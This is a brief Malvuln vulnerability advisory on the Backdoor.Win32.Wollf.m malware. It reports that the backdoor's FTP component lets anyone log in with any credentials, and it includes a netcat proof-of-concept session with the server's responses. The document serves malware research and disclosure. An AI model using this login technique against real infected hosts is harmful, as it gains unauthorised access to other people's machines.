Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/b125a9a083447ad7d437e3e7f3ed5325_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.m
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 55555 and runs with SYSTEM integrity. The malware has an FTP component that can be enabled using the FTPD command. Third-party attackers who can reach the server can logon using any username password combination.
Type: PE32
MD5: b125a9a083447ad7d437e3e7f3ed5325 
Vuln ID: MVID-2021-0436
Dropped files: wrm.exe
Disclosure: 12/31/2021

Exploit/PoC:
nc64.exe x.x.x.x 21
220 Welcome to X-Ftp server ...
USER malvuln
331 User name okay, need password.
PASS malvuln
230 User logged in, proceed.


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